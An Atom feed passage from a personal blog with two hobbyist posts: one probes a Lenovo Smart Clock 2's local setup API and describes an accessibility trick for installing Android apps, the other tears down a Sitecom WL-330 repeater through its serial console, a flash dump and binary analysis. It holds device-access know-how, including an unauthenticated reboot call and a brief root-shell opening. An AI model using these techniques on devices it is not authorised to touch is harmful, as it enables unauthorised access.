* successfully set certificate verify locations:
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Request CERT (13):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Certificate (11):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS alert, handshake failure (552):
* error:14094410:SSL routines:ssl3_read_bytes:sslv3 alert handshake failure
* Closing connection 0
curl: (35) error:14094410:SSL routines:ssl3_read_bytes:sslv3 alert handshake failure
&lt;/code&gt;&lt;/pre&gt;&lt;/details&gt;
&lt;p&gt;Assuming I found nothing new here, I search the web a bit, and found a post called &lt;a href=&#34;https://jerrygamblin.com/2018/10/29/google-home-insecurity/&#34;&gt;Google Home (in)Security&lt;/a&gt; from 2018 which explores the ports I found in some more depth.
Based on the information in that post, I did a few more requests.&lt;/p&gt;
&lt;p&gt;(Note that I rebooted meanwhile - the reboot command from that post worked! If you&amp;rsquo;re wondering why the IP is different in the pastes below, that is why.)&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;&#34;eureka info&#34;&lt;/summary&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ curl  -kv https://192.168.43.225:8443/setup/eureka_info | jq
*   Trying 192.168.43.225:8443...
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0* Connected to 192.168.43.225 (192.168.43.225) port 8443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
} [5 bytes data]
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
} [512 bytes data]
* TLSv1.3 (IN), TLS handshake, Server hello (2):
{ [91 bytes data]
* TLSv1.2 (IN), TLS handshake, Certificate (11):
{ [2924 bytes data]
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
{ [300 bytes data]
* TLSv1.2 (IN), TLS handshake, Server finished (14):
{ [4 bytes data]
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
} [37 bytes data]
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
} [1 bytes data]
* TLSv1.2 (OUT), TLS handshake, Finished (20):
} [16 bytes data]
* TLSv1.2 (IN), TLS handshake, Finished (20):
{ [16 bytes data]
* SSL connection using TLSv1.2 / ECDHE-RSA-CHACHA20-POLY1305
* ALPN, server did not agree to a protocol
* Server certificate:
*  subject: CN=0838E6334B8C7315FFFF FA:8F:CA:7D:DD:81
*  start date: Mar 10 09:51:23 2021 GMT
*  expire date: Mar  5 09:51:23 2041 GMT
*  issuer: C=CN; ST=BJ; L=Beijing; O=LENOVO; OU=Cast; CN=LENOVO SmartClock Cast AIVision
*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
} [5 bytes data]
&amp;gt; GET /setup/eureka_info HTTP/1.1
&amp;gt; Host: 192.168.43.225:8443
&amp;gt; User-Agent: curl/7.74.0
&amp;gt; Accept: */*
&amp;gt; 
{ [5 bytes data]
* Mark bundle as not supporting multiuse
&amp;lt; HTTP/1.1 200 OK
&amp;lt; Access-Control-Allow-Headers:Content-Type
&amp;lt; Cache-Control:no-cache
&amp;lt; Content-Length:1202
&amp;lt; Content-Type:application/json
&amp;lt; 
{ [1202 bytes data]
100  1202  100  1202    0     0  15815      0 --:--:-- --:--:-- --:--:-- 16026
* Connection #0 to host 192.168.43.225 left intact
{
  &amp;#34;bssid&amp;#34;: &amp;#34;&amp;#34;,
  &amp;#34;build_version&amp;#34;: &amp;#34;257161&amp;#34;,
  &amp;#34;cast_build_revision&amp;#34;: &amp;#34;1.52.257161&amp;#34;,
  &amp;#34;closed_caption&amp;#34;: {},
  &amp;#34;connected&amp;#34;: false,
  &amp;#34;ethernet_connected&amp;#34;: false,
  &amp;#34;has_update&amp;#34;: false,
  &amp;#34;hotspot_bssid&amp;#34;: &amp;#34;FA:8F:CA:7D:DD:81&amp;#34;,
  &amp;#34;locale&amp;#34;: &amp;#34;de-DE&amp;#34;,
  &amp;#34;location&amp;#34;: {
    &amp;#34;country_code&amp;#34;: &amp;#34;EU&amp;#34;,
    &amp;#34;latitude&amp;#34;: 255,
    &amp;#34;longitude&amp;#34;: 255
  },
  &amp;#34;mac_address&amp;#34;: &amp;#34;00:00:00:00:00:00&amp;#34;,
  &amp;#34;name&amp;#34;: &amp;#34;LenovoCD-24502F1428&amp;#34;,
  &amp;#34;opt_in&amp;#34;: {
    &amp;#34;crash&amp;#34;: true,
    &amp;#34;opencast&amp;#34;: false,
    &amp;#34;stats&amp;#34;: true
  },
  &amp;#34;public_key&amp;#34;: &amp;#34;MIIBCgKCAQEAt5c+s7LxGZVX3WHhGPLOzX3JzmOGxQ7ZhRC4gCsnsIXxMPIkCMnodm6f3PyU09Vi/hDVyjYnviKJM+XiCHpc2NyvapYXIcX3DJhkqUeqA4HYYc7GiRLs3RoRxQ/T+w2aPq7poE3zKssZJF4iZN3ZtRdmO5a/raQMQ5vJerUd052LQVIsXKkarhGhz5xHHB0vd8ZdEB02sJygvs1AFbJVk3tEOC27QtlYqKd3X2nwqPUcoS/3bHwtqN0INGALGqvHgmVrvPXs9X5Q8ShBOtnIA4Kjhhup0x3V+HC/g5QXYjhiAED+a0vAuNobNpaeJ4GVaomqaWf1nvJSoKvxM6lsVwIDAQAB&amp;#34;,
  &amp;#34;release_track&amp;#34;: &amp;#34;&amp;#34;,
  &amp;#34;setup_state&amp;#34;: 10,
  &amp;#34;setup_stats&amp;#34;: {
    &amp;#34;historically_succeeded&amp;#34;: true,
    &amp;#34;num_check_connectivity&amp;#34;: 0,
    &amp;#34;num_connect_wifi&amp;#34;: 0,
    &amp;#34;num_connected_wifi_not_saved&amp;#34;: 0,
    &amp;#34;num_initial_eureka_info&amp;#34;: 0,
    &amp;#34;num_obtain_ip&amp;#34;: 0
  },
  &amp;#34;ssdp_udn&amp;#34;: &amp;#34;32b180df-c0e6-a3d9-be80-2d9d8b72831e&amp;#34;,
  &amp;#34;ssid&amp;#34;: &amp;#34;&amp;#34;,
  &amp;#34;time_format&amp;#34;: 1,
  &amp;#34;tos_accepted&amp;#34;: false,
  &amp;#34;uma_client_id&amp;#34;: &amp;#34;53f581f4-2499-4140-ae99-7feaa8afb847&amp;#34;,
  &amp;#34;uptime&amp;#34;: 129.722581,
  &amp;#34;version&amp;#34;: 10,
  &amp;#34;wpa_configured&amp;#34;: false,
  &amp;#34;wpa_state&amp;#34;: 1
}
&lt;/code&gt;&lt;/pre&gt;&lt;/details&gt;
&lt;details&gt;
&lt;summary&gt;SSDP device description&lt;/summary&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ curl   -kv http://192.168.43.225:8008/ssdp/device-desc.xml
*   Trying 192.168.43.225:8008...
* Connected to 192.168.43.225 (192.168.43.225) port 8008 (#0)
&amp;gt; GET /ssdp/device-desc.xml HTTP/1.1
&amp;gt; Host: 192.168.43.225:8008
&amp;gt; User-Agent: curl/7.74.0
&amp;gt; Accept: */*
&amp;gt; 
* Mark bundle as not supporting multiuse
&amp;lt; HTTP/1.1 200 OK
&amp;lt; Application-URL:http://192.168.43.225:8008/apps/
&amp;lt; Content-Length:1085
&amp;lt; Content-Type:application/xml
&amp;lt; 
&amp;lt;?xml version=&amp;#34;1.0&amp;#34;?&amp;gt;
&amp;lt;root xmlns=&amp;#34;urn:schemas-upnp-org:device-1-0&amp;#34;&amp;gt;
  &amp;lt;specVersion&amp;gt;
    &amp;lt;major&amp;gt;1&amp;lt;/major&amp;gt;
    &amp;lt;minor&amp;gt;0&amp;lt;/minor&amp;gt;
  &amp;lt;/specVersion&amp;gt;
  &amp;lt;URLBase&amp;gt;http://192.168.43.225:8008&amp;lt;/URLBase&amp;gt;
  &amp;lt;device&amp;gt;
    &amp;lt;deviceType&amp;gt;urn:dial-multiscreen-org:device:dial:1&amp;lt;/deviceType&amp;gt;
    &amp;lt;friendlyName&amp;gt;LenovoCD-24502F1428&amp;lt;/friendlyName&amp;gt;
    &amp;lt;manufacturer&amp;gt;LENOVO&amp;lt;/manufacturer&amp;gt;
    &amp;lt;modelName&amp;gt;LenovoCD-24502F&amp;lt;/modelName&amp;gt;
    &amp;lt;UDN&amp;gt;uuid:32b180df-c0e6-a3d9-be80-2d9d8b72831e&amp;lt;/UDN&amp;gt;
    &amp;lt;iconList&amp;gt;
      &amp;lt;icon&amp;gt;
        &amp;lt;mimetype&amp;gt;image/png&amp;lt;/mimetype&amp;gt;
        &amp;lt;width&amp;gt;98&amp;lt;/width&amp;gt;
        &amp;lt;height&amp;gt;55&amp;lt;/height&amp;gt;
        &amp;lt;depth&amp;gt;32&amp;lt;/depth&amp;gt;
        &amp;lt;url&amp;gt;/setup/icon.png&amp;lt;/url&amp;gt;
      &amp;lt;/icon&amp;gt;
    &amp;lt;/iconList&amp;gt;
    &amp;lt;serviceList&amp;gt;
      &amp;lt;service&amp;gt;
        &amp;lt;serviceType&amp;gt;urn:dial-multiscreen-org:service:dial:1&amp;lt;/serviceType&amp;gt;
        &amp;lt;serviceId&amp;gt;urn:dial-multiscreen-org:serviceId:dial&amp;lt;/serviceId&amp;gt;
        &amp;lt;controlURL&amp;gt;/ssdp/notfound&amp;lt;/controlURL&amp;gt;
        &amp;lt;eventSubURL&amp;gt;/ssdp/notfound&amp;lt;/eventSubURL&amp;gt;
        &amp;lt;SCPDURL&amp;gt;/ssdp/notfound&amp;lt;/SCPDURL&amp;gt;
      &amp;lt;/service&amp;gt;
    &amp;lt;/serviceList&amp;gt;
  &amp;lt;/device&amp;gt;
&amp;lt;/root&amp;gt;
* Connection #0 to host 192.168.43.225 left intact
&lt;/code&gt;&lt;/pre&gt;&lt;/details&gt;
&lt;h1 id=&#34;setup&#34;&gt;Initial setup&lt;/h1&gt;
&lt;p&gt;After digging around in the pre-setup environment for a bit, I got my phone with the Google Home app, and proceeded to setup the device.
In that process, the Clock downloaded and installed a firmware update, bumping the software version to 1.56.258116.&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;The `eureka_info` output looked like this for me after setup:&lt;/summary&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;{
  &amp;#34;bssid&amp;#34;: &amp;#34;20:e8:82:9b:da:c7&amp;#34;,
  &amp;#34;build_version&amp;#34;: &amp;#34;285116&amp;#34;,
  &amp;#34;cast_build_revision&amp;#34;: &amp;#34;1.56.285116&amp;#34;,
  &amp;#34;closed_caption&amp;#34;: {},
  &amp;#34;connected&amp;#34;: true,
  &amp;#34;ethernet_connected&amp;#34;: false,
  &amp;#34;has_update&amp;#34;: false,
  &amp;#34;hotspot_bssid&amp;#34;: &amp;#34;FA:8F:CA:7D:DD:81&amp;#34;,
  &amp;#34;ip_address&amp;#34;: &amp;#34;192.168.0.17&amp;#34;,
  &amp;#34;locale&amp;#34;: &amp;#34;en-GB&amp;#34;,
  &amp;#34;location&amp;#34;: {
    &amp;#34;country_code&amp;#34;: &amp;#34;NL&amp;#34;,
    &amp;#34;latitude&amp;#34;: 255,
    &amp;#34;longitude&amp;#34;: 255
  },
  &amp;#34;mac_address&amp;#34;: &amp;#34;00:00:00:00:00:00&amp;#34;,
  &amp;#34;name&amp;#34;: &amp;#34;Office clock&amp;#34;,
  &amp;#34;opt_in&amp;#34;: {
    &amp;#34;crash&amp;#34;: false,
    &amp;#34;opencast&amp;#34;: false,
    &amp;#34;stats&amp;#34;: false
  },
  &amp;#34;public_key&amp;#34;: &amp;#34;MIIBCgKCAQEAt5c+s7LxGZVX3WHhGPLOzX3JzmOGxQ7ZhRC4gCsnsIXxMPIkCMnodm6f3PyU09Vi/hDVyjYnviKJM+XiCHpc2NyvapYXIcX3DJhkqUeqA4HYYc7GiRLs3RoRxQ/T+w2aPq7poE3zKssZJF4iZN3ZtRdmO5a/raQMQ5vJerUd052LQVIsXKkarhGhz5xHHB0vd8ZdEB02sJygvs1AFbJVk3tEOC27QtlYqKd3X2nwqPUcoS/3bHwtqN0INGALGqvHgmVrvPXs9X5Q8ShBOtnIA4Kjhhup0x3V+HC/g5QXYjhiAED+a0vAuNobNpaeJ4GVaomqaWf1nvJSoKvxM6lsVwIDAQAB&amp;#34;,
  &amp;#34;release_track&amp;#34;: &amp;#34;&amp;#34;,
  &amp;#34;setup_state&amp;#34;: 60,
  &amp;#34;setup_stats&amp;#34;: {
    &amp;#34;historically_succeeded&amp;#34;: true,
    &amp;#34;num_check_connectivity&amp;#34;: 0,
    &amp;#34;num_connect_wifi&amp;#34;: 0,
    &amp;#34;num_connected_wifi_not_saved&amp;#34;: 0,
    &amp;#34;num_initial_eureka_info&amp;#34;: 0,
    &amp;#34;num_obtain_ip&amp;#34;: 0
  },
  &amp;#34;ssdp_udn&amp;#34;: &amp;#34;32b180df-c0e6-a3d9-be80-2d9d8b72831e&amp;#34;,
  &amp;#34;ssid&amp;#34;: &amp;#34;&amp;lt;removed&amp;gt;&amp;#34;,
  &amp;#34;time_format&amp;#34;: 2,
  &amp;#34;timezone&amp;#34;: &amp;#34;Europe/Amsterdam&amp;#34;,
  &amp;#34;tos_accepted&amp;#34;: true,
  &amp;#34;uptime&amp;#34;: 1001.472884,
  &amp;#34;version&amp;#34;: 12,
  &amp;#34;wpa_configured&amp;#34;: true,
  &amp;#34;wpa_id&amp;#34;: 0,
  &amp;#34;wpa_state&amp;#34;: 10
}
&lt;/code&gt;&lt;/pre&gt;&lt;/details&gt;
&lt;p&gt;(I removed the ssid from that output, but note I did not change &lt;code&gt;mac_address&lt;/code&gt;, it really has all those zeroes!)&lt;/p&gt;
&lt;p&gt;In this updated firmware, even after a factory reset, most of the nicely open APIs we found previously are now closed.
Via the blog post I linked before, I found &lt;a href=&#34;https://rithvikvibhu.github.io/GHLocalApi/&#34;&gt;an inofficial API description&lt;/a&gt; that also suggests there are ways to authenticate to these APIs.
I did not try this.&lt;/p&gt;
&lt;h1 id=&#34;teasers&#34;&gt;Teasers&lt;/h1&gt;
&lt;p&gt;Some teasers for (potential) upcoming posts about this device:&lt;/p&gt;
&lt;p&gt;The Home Assistant Android app (with thanks to &lt;a href=&#34;https://forum.xda-developers.com/t/guide-installing-android-apps-on-the-lenovo-smart-clock-2.4393271/&#34;&gt;Guide installing android apps on the lenovo smart clock 2&lt;/a&gt;):&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;teaser-ha.jpg&#34; alt=&#34;Home Assistant Android app&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://fosstodon.org/@habbie/109492230167616018&#34;&gt;No-solder wired interfacing (in progress, waiting for USB sockets from AliExpress)&lt;/a&gt; - in case &lt;a href=&#34;https://forum.xda-developers.com/t/lets-get-started-on-the-lenovo-smart-clock-2.4374455/&#34;&gt;Lets get started on the Lenovo Smart Clock 2!&lt;/a&gt; goes anywhere useful.&lt;/p&gt;
&lt;p&gt;Update 20 March 2023: I&amp;rsquo;ve abandoned my draft about installing Android apps because people have now done Youtube videos way more useful than what I had typed so far.
The XDA thread links to at least one of them.&lt;/p&gt;
&lt;p&gt;The best I&amp;rsquo;ve seen so far is &lt;a href=&#34;https://www.youtube.com/watch?v=uSHpvbbvz7Q&#34;&gt;Bedside Home Assistant Dashboard - Hacking the Lenovo Smart Clock 2 to run Android Apps&lt;/a&gt;, which not only shows two ways of getting enough access to install Android apps, it then goes on to seriously customise the device, getting rid of Google Home entirely.
I did find a third way to install Android apps, which I&amp;rsquo;ve now written into a comment under that video, and repeated here:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If you swipe up from the bottom, tap the config wheel and choose &amp;ldquo;send feedback&amp;rdquo;, then say something like &amp;ldquo;install f-droid&amp;rdquo;, then tap &amp;ldquo;Account and system information&amp;rdquo;, your spoken text (&amp;lsquo;install f-droid&amp;quot;) appears there. Using the accessibility mode, select it, draw an L (start top left), then pick Copy. Then, once you&amp;rsquo;re in the browser (I used the same method - Privacy policy) you can click the button with the 9 squares and go to search. Then paste your text. This way you don&amp;rsquo;t need the calendar or a DNS trick.&lt;/p&gt;
&lt;p&gt;(Once you install and run F-Droid, you do need to use that opportunity to immediately install a launcher and/or a keyboard, or you won&amp;rsquo;t be able to get back into F-Droid again, unless you do all the steps again.)&lt;/p&gt;
&lt;p&gt;(Also, once you have a launcher, you can get to Android settings and pair a bluetooth keyboard, which is super convenient.)&lt;/p&gt;
&lt;/blockquote&gt;
</content>
            
            
            
            
            
                
                    
                
            
        </entry>
    
        <entry>
            <title type="text">Router Archeology: Sitecom WL-330</title>
            <link rel="alternate" type="text/html" href="https://7bits.nl/journal/posts/router-archeology-sitecom-wl330/" />
            <id>https://7bits.nl/journal/posts/router-archeology-sitecom-wl330/</id>
            <updated>2022-05-05T23:01:33&#43;02:00</updated>
            <published>2022-05-05T17:48:32&#43;02:00</published>
            <author>
                    <name>Peter van Dijk</name>
                    <uri>https://7bits.nl/journal/</uri>
                    <email>peter@7bits.nl</email>
                    </author>
            <rights>[CC BY-NC-SA 4.0](https://creativecommons.org/licenses/by-nc-sa/4.0/deed.en)</rights><summary type="html">I like taking things apart, figuring out how they work, and see if they can perhaps gain a bit of Open Source, either by replacing existing software (as is commonly done with OpenWrt for replacing router vendor firmware, ESPHome for replacing firmware on ESP devices, etc.</summary>
            
                <content type="html">&lt;p&gt;I like taking things apart, figuring out how they work, and see if they can perhaps gain a bit of Open Source, either by replacing existing software (as is commonly done with OpenWrt for replacing router vendor firmware, ESPHome for replacing firmware on ESP devices, etc.) or by adding &lt;a href=&#34;https://esphome.io/components/sensor/pm1006.html&#34;&gt;some hardware that can run the code I want&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;However, taking things apart, maybe even soldering some pins, or desoldering a flash chip to read it, is scary. Over the last few years I&amp;rsquo;ve been working myself up from hacking on 5 EUR devices (Wemos D1 Mini) to 20-30 EUR devices (I recently dared to solder pin headers to the &lt;a href=&#34;https://paulbanks.org/projects/lidl-zigbee/&#34;&gt;Silvercrest/Lidl Zigbee gateway&lt;/a&gt; - I know, it&amp;rsquo;s only pin headers, but I&amp;rsquo;m taking it slow. I also put together an &lt;a href=&#34;https://sensor.community/en/sensors/airrohr/&#34;&gt;airRohr&lt;/a&gt; recently, which involved soldering tons of wires to three devices).&lt;/p&gt;
&lt;p&gt;Getting good at something means doing it a lot. Doing something that may destroy devices a lot costs money. So, I went to the local thrift store, looking for hardware to poke at. I found two old Sitecom APs/repeaters - a WL-330 and a WL-114, for € 2.50 each. A steal! This post is about the WL-330, or &amp;ldquo;Wireless Range Extender N300&amp;rdquo;. It&amp;rsquo;s not a very useful device in 2022, but it has all the parts that routers have today - a semi-decent SoC, some RAM, some flash, one Ethernet port, and of course, WiFi.&lt;/p&gt;
&lt;p&gt;The text below was written weeks after I actually did all of this poking. There may be accidental omissions, and mistakes.&lt;/p&gt;
&lt;p&gt;Bonus: &lt;a href=&#34;https://imgur.com/a/6HgwPLy&#34;&gt;album of web interface pictures full of nostalgia for the Dutch Internet in the late nineties, from the WL-114 interface&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id=&#34;other-documentation&#34;&gt;Other documentation&lt;/h1&gt;
&lt;p&gt;While I was working on this device, somebody pointed me to &lt;a href=&#34;https://raw.githubusercontent.com/koutto/hardware-hacking/master/Hardware-Hacking-Experiments-Jeremy-Brun-Nouvion-2020.pdf&#34;&gt;Hardware Hacking Experiments by Jérémy Brun-Nouvion (PDF)&lt;/a&gt;. It is a very good collection of methodology for inspecting unknown devices, and it contains clear instructions for some of the things you&amp;rsquo;ll see me do below. You should definitely read it before, after, or next to this article.&lt;/p&gt;
&lt;h1 id=&#34;opening-serial&#34;&gt;Opening, serial&lt;/h1&gt;
&lt;p&gt;Step one - open it up. Just a few screws at the bottom and the top came off nicely:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;inside.jpg&#34; alt=&#34;Sitecom WL-330 PCB top side&#34;&gt;&lt;/p&gt;
&lt;p&gt;There&amp;rsquo;s lots to see here! Two antenna connectors at the top, with the Ethernet port in the middle. To the right of that, an unpopulated spot that really looks it could be USB? Bottom left (&amp;ldquo;MXIC&amp;rdquo;) is a flash chip. The CPU, in the middle, has no useful markings. I&amp;rsquo;ve documented what I know on &lt;a href=&#34;https://wikidevi.wi-cat.ru/Sitecom_WL-330&#34;&gt;wikidevi&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Bottom middle, marked JP2, we find 4 unpopulated holes, one of which is square. I&amp;rsquo;ve learned over time that such a set is quite likely to offer serial console. Armed with my multimeter, I tried to figure out what hole is what. GND is easy - it usually offers little to zero Ω of resistance to actual ground (the outside of the barrel jack power connector). With GND sorted, I found two pins at 3V3 compared to GND. One of those is actual 3V3 - we&amp;rsquo;re going to ignore that. The other one likely is TX (in TTL serial, an idle TX is at Vcc, which is 3V3 for this board).&lt;/p&gt;
&lt;p&gt;I did not solder - JP2 is nicely located near the edge of the board, which means &lt;a href=&#34;https://www.aliexpress.com/item/1005001409579446.html&#34;&gt;this debugging clip (2.54mm, single row is the one I used here)&lt;/a&gt; would easily fit right on the edge of the board:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;clip.jpg&#34; alt=&#34;debugging clip on WL-330 board&#34;&gt;&lt;/p&gt;
&lt;p&gt;The left 3 wires go to a USB-serial TTL adapter. If you don&amp;rsquo;t have one, the &lt;a href=&#34;https://pinout.xyz/pinout/uart#&#34;&gt;right pins on a Raspberry Pi&lt;/a&gt; also work.&lt;/p&gt;
&lt;p&gt;With serial connected, I powered the device up.&lt;/p&gt;
&lt;h1 id=&#34;boot&#34;&gt;Boot&lt;/h1&gt;
&lt;p&gt;U-Boot greeted me:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;U-Boot 1.1.3 (Nov  7 2008 - 13:35:55)

Board: Ralink APSoC DRAM:  16 MB
relocate_code Pointer at: 80fa8000
****************************
Init GPIO Pin****************************
flash_protect ON: from 0xBFC00000 to 0xBFC26213
protect on 0
protect on 1
protect on 2
protect on 3
protect on 4
protect on 5
protect on 6
protect on 7
protect on 8
protect on 9
flash_protect ON: from 0xBFC30000 to 0xBFC3FFFF
protect on 10
*** Warning - bad CRC, using default environment

============================================ 
Ralink UBoot Version: 3.1
-------------------------------------------- 
ASIC 3052_MP1 (MAC to GigaMAC Mode)
DRAM COMPONENT: 256Mbits 
DRAM BUS: 16BIT 
Total memory: 32 MBytes
Flash: 4 MBytes
Date:Nov  7 2008  Time:13:35:55
============================================ 
icache: sets:256, ways:4, linesz:32 ,total:32768
dcache: sets:128, ways:4, linesz:32 ,total:16384 

 ##### The CPU freq = 384 MHZ #### 

SDRAM bus set to 16 bit 
 SDRAM size =16 Mbytes

Please choose the operation: 
   0: Load ucos code to SDRAM via TFTP Client. 
   1: Load system code to SDRAM via TFTP. 
   2: Load system code then write to Flash via TFTP. 
   3: Boot system code via Flash (default).
   4: Entr boot command line interface.
   9: Load Boot Loader code then write to Flash via TFTP. 
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;and proceeded with option 3 after a second:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;You choosed 3

^H^H^H 0 
   
3: System Boot system code via Flash.
## Booting image at bfc50000 ...
Bad Magic Number,43535953 
   Image Name:   Linux Kernel Image
   Created:      2009-01-15   3:11:08 UTC

 System Control Status = 0x20440000 
   Image Type:   MIPS Linux Kernel Image (lzma compressed)
   Data Size:    3059628 Bytes =  2.9 MB
   Load Address: 80000000
   Entry Point:  8028f000
   Verifying Checksum ... OK
   Uncompressing Kernel Image ... OK
No initrd
## Transferring control to Linux (at address 8028f000) ...
## Giving linux memsize in MB, 16

Starting kernel ...
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;There&amp;rsquo;s a very interesting discrepancy here. U-Boot reports 32 MByte of RAM - as does the labeling of the actual RAM chip. However, Linux is told 16. I have not yet figured out why this happens.&lt;/p&gt;
&lt;p&gt;After some kernel messages and errors from terribly hacky startup scripts, a very interesting screen greets me:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;setup.png&#34; alt=&#34;login screen on serial console&#34;&gt;&lt;/p&gt;
&lt;p&gt;I tried a few things, like &lt;code&gt;admin&lt;/code&gt;/&lt;code&gt;admin&lt;/code&gt;, but it would not let me in. After some more tinkering and trying things, I found that the reset button would kill this login screen, briefly exposing a root shell! .. until the device rebooted a few seconds later. I considered automating this, to run one or two commands in that brief window, but I parked this idea for later, in case I would not find another avenue.&lt;/p&gt;
&lt;h1 id=&#34;boot-openwrt&#34;&gt;Boot OpenWrt?&lt;/h1&gt;
&lt;p&gt;The U-Boot menu offered booting from TFTP. This is an excellent way to test firmware images on a device without destroying anything on the flash. I tried booting a few seemingly suitable (old, because this device does not have a lot of memory) OpenWrt images, but &lt;a href=&#34;https://twitter.com/Habbie/status/1515029663290122241&#34;&gt;they did not get very far&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id=&#34;firmware-dump&#34;&gt;Firmware dump&lt;/h1&gt;
&lt;p&gt;I decided it was time to investigate the firmware. Some people use &lt;a href=&#34;https://www.aliexpress.com/item/32966553440.html&#34;&gt;IC clips&lt;/a&gt; to read flash chips directly, but this is not always easy. I dug around in U-Boot a bit, but found no useful commands to dump the flash chip. Then somebody pointed out to me that SPI NOR flash is usually mapped into memory by the CPU/SoC. After some poking, I figured out the address too. So:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;RT3052 # md.b bf000000 5000000
bf000000: ff 00 00 10 00 00 00 00 fd 00 00 10 00 00 00 00    ................
bf000010: f9 01 00 10 00 00 00 00 f7 01 00 10 00 00 00 00    ................
bf000020: f5 01 00 10 00 00 00 00 f3 01 00 10 00 00 00 00    ................
bf000030: f1 01 00 10 00 00 00 00 ef 01 00 10 00 00 00 00    ................
bf000040: ed 01 00 10 00 00 00 00 eb 01 00 10 00 00 00 00    ................
...
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;(&lt;code&gt;5000000&lt;/code&gt; is too much - it&amp;rsquo;s 4 MByte of flash, not 5, so I got the first megabyte repeated at the end.)&lt;/p&gt;
&lt;p&gt;I had &lt;code&gt;screen&lt;/code&gt; log all of this to a file. &lt;code&gt;od&lt;/code&gt; can then turn this into a big binary blob (sadly I no longer have the exact command I used, but it did involve telling &lt;code&gt;od&lt;/code&gt; about the &lt;code&gt;bf000000&lt;/code&gt; offset!).&lt;/p&gt;
&lt;p&gt;From the kernel startup log, we get the partition table:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Creating 7 MTD partitions on &amp;#34;Ralink SoC physically mapped flash&amp;#34;:
0x00000000-0x00030000 : &amp;#34;Bootloader&amp;#34;
mtd: Giving out device 0 to Bootloader
0x00030000-0x00040000 : &amp;#34;Config &amp;#34;
mtd: Giving out device 1 to Config 
0x00040000-0x00050000 : &amp;#34;Factory&amp;#34;
mtd: Giving out device 2 to Factory
0x00050000-0x00160000 : &amp;#34;Kernel&amp;#34;
mtd: Giving out device 3 to Kernel
0x00160000-0x003e0000 : &amp;#34;RootFS&amp;#34;
mtd: Giving out device 4 to RootFS
0x003e0000-0x00400000 : &amp;#34;Cimage&amp;#34;
mtd: Giving out device 5 to Cimage
0x00050000-0x003e0000 : &amp;#34;Uimage&amp;#34;
mtd: Giving out device 6 to Uimage
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;With a bit of &lt;code&gt;dd&lt;/code&gt;, we can carve our 4 MByte flash image into several smaller files.&lt;/p&gt;
&lt;p&gt;I tried unpacking the RootFS partition with &lt;code&gt;binwalk -e&lt;/code&gt;, but I ran into trouble. My &lt;code&gt;unsquashfs&lt;/code&gt; did not support this squashfs image. After trying several patches to &lt;code&gt;squashfs-tools&lt;/code&gt; floating around the Internet, I ran into &lt;a href=&#34;https://github.com/devttys0/sasquatch&#34;&gt;sasquatch&lt;/a&gt; which is a nice patchset to &lt;code&gt;squashfs-tools&lt;/code&gt;, that actually managed to extract this root file system.&lt;/p&gt;
&lt;p&gt;After reading some startup scripts, grepping for some strings, etc., I found &lt;code&gt;/bin/setup&lt;/code&gt; to be the program responsible for the weird login prompt.&lt;/p&gt;
&lt;h1 id=&#34;binary-analysis&#34;&gt;Binary analysis&lt;/h1&gt;
&lt;p&gt;With one or two exceptions, the last time I tried to analyse a closed-source binary was back when I was still running MS-DOS - so this seemed like a great opportunity to work on those skills! I installed and started Ghidra, and loaded &lt;code&gt;/bin/setup&lt;/code&gt; into it. Because &lt;code&gt;setup&lt;/code&gt; is statically linked, I got roughly zero symbols. I poked around a bit, managed to label a few functions (&lt;code&gt;memset&lt;/code&gt; and similar simple functions that are easy to recognise in assembly), and got quite a decent overview of program flow, but not enough to figure out what login the tool wanted.&lt;/p&gt;
&lt;p&gt;I might go back to that later, I did enjoy it.&lt;/p&gt;
&lt;h1 id=&#34;looking-for-other-holes&#34;&gt;Looking for other holes&lt;/h1&gt;
&lt;p&gt;Based on &lt;a href=&#34;https://7bits.nl/journal/posts/cve-2021-38703-kpn-experia-wifi-root-shell/&#34;&gt;earlier experience&lt;/a&gt; I expected there would be vulnerabilities in the existing software on the router. And I had a dump of all that software!&lt;/p&gt;
